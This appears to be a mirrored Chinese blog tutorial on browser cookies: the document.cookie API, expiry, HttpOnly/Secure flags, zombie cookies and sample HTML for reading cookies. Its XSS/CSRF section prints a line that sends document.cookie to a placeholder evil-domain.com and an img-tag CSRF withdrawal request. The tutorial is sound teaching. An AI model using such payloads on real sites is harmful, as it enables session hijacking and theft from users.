zoukankan      html  css  js  c++  java
  • Document

    概述

    前篇:web API简介(一):API,Ajax和Fetch

    客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

    Cookie介绍

    cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

    cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。

    cookies只有一个优点,就是它和老式的浏览器很兼容。0.0

    Set-Cookie: <cookie-name>=<cookie-value>
    

    语法

    //newCookie = "key=value"
    document.cookie = newCookie;
    

    还可以在后面添加这些信息:

    (1)";path=path"

    (2)";domain=domain"

    (3)";max-age=max-age-in-seconds"

    (4)";expires=date-in-GMTString-format"

    Cookie的时效

    如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。

    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
    

    HttpOnly cookies

    为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
    

    Xss和CSRF

    XSS = cross-site scripting;CSRF = Cross-site request forgery。

    下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    

    下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。

    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    

    Zombie cookies

    Zombie cookies = Evercookies。

    这类cookies在被删除后会立刻重新建立,所以很难被删除。

    相关方面的资料:Evercookie by Samy KamkarZombie cookies on Wikipedia

    cookie操作实例

    下面的代码拿到一个叫test2的cookie。

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <script>
            document.cookie = "test1=Hello";
            document.cookie = "test2=World";
    
            var cookieValue = document.cookie.replace(/(?:(?:^|.*;s*)test2s*=s*([^;]*).*$)|^.*$/, "$1");
    
            function alertCookieValue() {
              var showCookie = document.getElementById("show_cookie");
              showCookie.innerText = cookieValue;
            };
        </script>
    </head>
    <body>
        <button onclick="alertCookieValue()">显示cookie</button>
        <div id="show_cookie"></div>
    </body>
    </html>
    
    

    下面的代码使事情只做一次。

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <script>
            function doOnce() {
              if (document.cookie.replace(/(?:(?:^|.*;s*)doSomethingOnlyOnces*=s*([^;]*).*$)|^.*$/, "$1") !== "true") {
                document.getElementById("do_once").disabled = true;
                document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
              }
            };
            function resetOnce() { 
                document.getElementById("do_once").disabled = false;
                document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
            }
        </script>
    </head>
    <body>
        <button id="do_once" onclick="doOnce()">Only do something once</button>
        <button onclick="resetOnce()">Reset only once cookie</button>
    </body>
    </html>
    
    
  • 相关阅读:
    【内推】平安产险大数据测试开发工程师,15-30k!
    python中的正则表达式(re模块)
    C#中ArrayList和string,string[]数组的转换
    C# 中的sealed修饰符学习
    面试题目记录
    C#中Internal class与静态类说明
    转载 C#使用Salt + Hash来为密码加密
    转载C# 对象转Json序列化
    使用https时,网站一些内容不能正常显示的问题
    转载 JQuery.data()方法学习
  • 原文地址:https://www.cnblogs.com/yangzhou33/p/8443269.html
Copyright © 2011-2022 走看看